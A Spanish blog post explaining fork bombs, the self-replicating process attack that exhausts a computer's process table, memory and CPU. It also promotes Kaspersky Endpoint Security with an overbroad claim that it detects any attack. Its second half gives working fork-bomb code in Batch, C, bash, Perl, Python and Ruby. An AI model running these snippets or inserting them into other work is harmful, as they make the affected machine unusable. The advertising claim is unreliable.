Mostrando las entradas con la etiqueta ataques. Mostrar todas las entradas
Mostrando las entradas con la etiqueta ataques. Mostrar todas las entradas

Bomba fork

 

 

Una bomba fork es una forma de ataque del tipo denegación de servicio sobre un computador implementando una operación fork o alguna otra funcionalidad equivalente mediante la cual un proceso es capaz de autorreplicarse. La bomba fork es considerado un wabbit ya que no se autorreplica de la misma forma que los gusanos o los virus. Su efecto se basa en la suposición de que el número de programas y procesos que se ejecutan simultáneamente en un ordenador tiene un límite.

Una bomba fork funciona creando una gran cantidad de procesos muy rápidamente con el objetivo de saturar el espacio disponible en la lista de procesos mantenida por el sistema operativo del computador. Si la tabla de procesos se llega a saturar, entonces no se pueden iniciar nuevos programas hasta que no se cierre alguno. En el caso de que esto suceda, es muy poco probable que se pueda iniciar un programa útil ya que los procesos de la bomba estarán esperando para poder crear nuevos procesos a la primera oportunidad que se les conceda.

Las bombas fork no sólo ocupan espacio dentro de la lista de procesos, también consumen tiempo de proceso y memoria de la máquina donde se ejecutan. Como resultado de esto, los ordenadores se vuelven lentos e incluso se pueden volver inutilizables dada la falta de memoria y la imposibilidad de aprovechar el procesador.

Se puede prevenir?

La respuesta es si. Afortunadamente para el usuario final, ya existen soluciones antivirus que cuentan con una protección para este tipo de ataques, tales como Kaspersky Endpoint Security.

El firewall y el sandbox embebidos en esta solución son capaces de detectar cualquier tipo de ataque en tiempo real, gracias a la sincronización de sus motores de análisis de amenazas con la nube Kaspersky Security Network.

Algunos ejemplos

Código fuente de una bomba fork programada en Batch funcional en cualquier versión de Microsoft Windows:

%0|%0

O bien, una reacción más rápida:

:s
start "" %0
goto :s

Código fuente de una bomba fork programada en UNIX C o C++:

#include <unistd.h>

int main()
 {
  while(true)
 {
    fork();
 }
  return 0;
}

Bomba fork para bash de linux

:(){ :|:& };:

O de forma larga

#!/bin/bash
bomba(){
  bomba | bomba & 
}
bomba

En Perl:

fork while fork

En Python:

import os

while True:
     os.fork()

En Ruby:

def forkbomb
  loop { fork { forkbomb }  }
end; forkbomb